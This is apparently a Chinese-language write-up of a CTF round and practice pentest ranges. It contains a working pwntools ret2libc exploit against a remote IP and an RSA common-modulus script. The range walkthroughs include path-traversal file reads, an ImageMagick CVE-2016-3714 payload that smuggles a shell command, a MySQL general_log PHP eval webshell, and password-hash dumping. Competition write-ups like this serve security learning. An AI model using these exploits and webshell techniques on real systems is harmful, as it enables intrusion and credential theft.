1. 程式人生 > >巔峰極客線上第二場-writeup

巔峰極客線上第二場-writeup

CTF

PlainR2B-PWN

很明顯的棧溢位,第一次溢位列印write函式的地址,然後從和libc中的地址尋找偏移,最後利用system函式和libc中的/bin/sh,getshell後執行伺服器上的getflag程式隨意輸入一些東西,進行多輪後會輸出flag

貼指令碼:

from pwn import *

r = remote('117.50.60.184', 12345)

lib = ELF('./libc-2.23.so')

elf = ELF('./pwn')

writegot = elf.got["write"]

writeplt = elf.plt["write"]

func = elf.symbols["game"]

writelibc = lib.symbols["write"]

syslibc = lib.symbols["system"]

bin_addr = lib.search('/bin/sh').next()

payload = 'a' * (0x1c + 4) + p32(writeplt) + p32(func) + \

p32(1) + p32(writegot) + p32(4)

r.recvuntil("name?")

r.sendline("nana")

r.recvuntil("flag")

r.sendline(payload)

ta = r.recv()

t = r.recv()

print ta,t

writeaddr = u32(t[0:4])

sysaddr = writeaddr - writelibc + syslibc

binaddr = writeaddr - writelibc + bin_addr

payload1 = 'a' * (0x1c + 4) + p32(sysaddr) + p32(func) + p32(binaddr)

r.sendline(payload1)

r.interactive()

Antidbg-RE

分析程式邏輯定位關鍵函式,逆向程式發現是一個驗證16進位制的程式,提取變數進行正向解密

low4 =[0x06, 0x0C, 0x01, 0x07, 0x0B, 0x00, 0x06, 0x02, 0x01, 0x06,

0x01, 0x07, 0x02, 0x0D, 0x05, 0x01,0x03, 0x03, 0x0D, 0x04, 0x03, 0x01, 0x00, 0x0D, 0x08, 0x08,

0x01, 0x02, 0x0D, 0x07, 0x00, 0x01, 0x02, 0x06, 0x08, 0x02,0x09, 0x00, 0x05, 0x02,0x02,0x0d]

offset = [ 0x02, 0x02, 0x02, 0x02, 0x03, 0x01, 0x01, 0x02, 0x01, 0x01,

0x02, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,

0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x00, 0x01,

0x01, 0x02, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x02, 0x01,

0x01, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00]

print len(offset),len(low4)

a = [2,3,6,7]

flag= ""

for i in range(len(low4)):

       flag += chr(a[offset[i]]<<4 | low4[i])

print flag

sqli-WEB

明顯要注入了,隨手測試註冊'admin+空格'使用者名稱,登陸拿flag。

word-MISC

公眾號拿一半flag,在字型這裡拿到另外一半。

rsa-CRYPTO

用python指令碼提取n和e,這裡可以參考我之前的文章《關於rsa的openssl命令一些隨筆。》,發現n一樣e不一樣。明顯的共模攻擊。網上找個指令碼改改加個base64解碼跑一下拿flag。

提取指令碼:

from Crypto.PublicKey import RSA

with open('./pubkey2.pem', 'r') as f:

     key = RSA.importKey(f)

     n = key.n

     e = key.e

print n

print e

跑明文指令碼:

import gmpy2

import string

from Crypto.Util.number import long_to_bytes

from base64 import *

n = 0x8989a398988456b3fef4a6ad86df3c99577f8978048de5436befc30d8d8c94958912aa526ff333b66857306ebb8de36c2c396a84efdc5d382502daa1a3f3b6e97502d2e31c849330f5b4c95257a149a97f5954eaf89341147adcdd4e950fff74e30bbe622876b42eeac86df4ad9715d05b5604aa8179424c7d9ac46bd6b5f322b2b5728ba148704a25a8efcc1e7c84ea7e5ce3e01703f04f94a431d9954bd7ae2c7dd6e879b35f8a2d4a5efbe737257bf99bd9ee66b15aff233fc77b558a487da5952fbe2b923da9c5eb46788c050336b7e36a5ed82d5c1b2aeb0e45bee405cbe72481db2568aa829eeac87d201a5a8ff5ee6f0be38192ab2839635f6c664217L

e1 = 2333

e2 = 23333

with open('flag1.enc', 'r') as f:

     cipher1 = f.read()

     cipher1=b64decode(cipher1).encode('hex')

     cipher1 = string.atoi(cipher1, base=16)

with open('flag2.enc', 'r') as f:

     cipher2 = f.read()

     cipher2=b64decode(cipher2).encode('hex')

     cipher2 = string.atoi(cipher2, base=16)

# s & t

gcd, s, t = gmpy2.gcdext(e1, e2)

if s < 0:

     s = -s

     cipher1 = gmpy2.invert(cipher1, n)

if t < 0:

     t = -t

     cipher2 = gmpy2.invert(cipher2, n)

plain = gmpy2.powmod(cipher1, s, n) * gmpy2.powmod(cipher2, t, n) % n

print long_to_bytes(plain)

靶場

這次靶場打的蠻爽的,五個靶場通關了四個,就是時間有點不夠,還是太菜了,拋磚引玉看都沒看。

暗渡陳倉

虛實相接,需要出題者以聲東擊西的招式準備的歧路,找到正確的棧道。

1.提交上傳點的地址的name(例如答:/xxxxx/)

2.提交系統管理員Hack使用者的全名

3.超級管理員使用者桌面根目錄admin.txt檔案的內容

開啟靶場,右鍵檢視原始碼發現圖片路徑是u-Are-Admin 隨機訪問該目錄,發現是一個上傳繞過。用PHP可繞過,然後路徑不知道,用任意讀取downloadfile.php?file=讀download.php發現路徑是u-uploads-file,然後getshell。

蟻劍連上之後執行命令:net user檢視到Hack使用者名稱

然後在超級使用者的桌面根目錄找到admin.txt

瞞天過海

目的不是為了瞞天,只是做出題目的一種手段。

1.提交後臺管理員密碼

2.提交mysql密碼

3.提交C盤根目錄password.txt內容

主頁面發現注入點,即可拿到後臺登陸密碼和mysql密碼,somd5解一下就ok了。

進入後臺之後有上傳和任意讀取,上傳會自動加.jpg,繞了好久,結果發現有任意讀取。直接讀根目錄password.txt

/classes/downloadfile.php?file=../../../../../../../../../../../password.txt

偷樑換柱

賽題是那樣無情殘忍,無義無理取鬧,稍有踟躕,他就偷樑換柱。

1.提交後臺admin使用者的密碼

2.提交系統管理員ichunqiu使用者的全名

3.提交/tmp/access.log的內容的前16位

一開始啥思路都沒有,發現一個110.php還有hacker.jpg。後來掃波原始碼洩露才發現有.git洩露,githack打一發。發現數據庫檔案,拿到密碼。登入後臺。發現有上傳功能,自動加.png字尾,繞不過。開始審計,發現picture.php有命令執行。

使用了/usr/local/bin/convert,隨即想到CVE-2016–3714,找到poc看懂原理,改改就能getshell。

我的payload:

push graphic-context

viewbox 0 0 640 480

fill 'url(https://example.com/1.jpg"|ls > /var/www/html/1.txt")'

pop graphic-context

即可任意命令執行。然後users拿到使用者名稱並檢視檔案cat /tmp/access.log

反客為主

以靜謀動,反客為主,掌握真正的大權,才能不任人擺佈。

1.提交phpStudy目錄下Documents.txt的內容

2.提交系統使用者/ichunqiu的密碼

3.提交ichunqiu使用者Desktop根目錄password.txt的內容

進去之後發現有任意讀取info/include.php?filename=../../../../../../../../../../windows/win.ini

但是好像沒有什麼laun用,掃目錄發現phpmyadmin服務,用弱口令root/root登進去,然後genernal log getshell。

我的payload:

show variables like '%general%';  #檢視配置

set global general_log = on;  #開啟general log模式

set global general_log_file = 'C:/phpStudy/WWW/1.php';   #設定日誌目錄為shell地址

select '<?php eval($_POST[cmd]);?>';  #寫入shell

getshell之後想用mimikatz跑一發密碼,結果gg了,不知道怎麼回事,也不能外連msf,彈不出shell。直接讀取password.txt,最後使用QuarksPwDump跑出了HASH,cmd5解密得到密碼。

最後就是今天的經歷吧。確實學到很多。也真的打的滿爽的,可惜不知道能不能去決賽。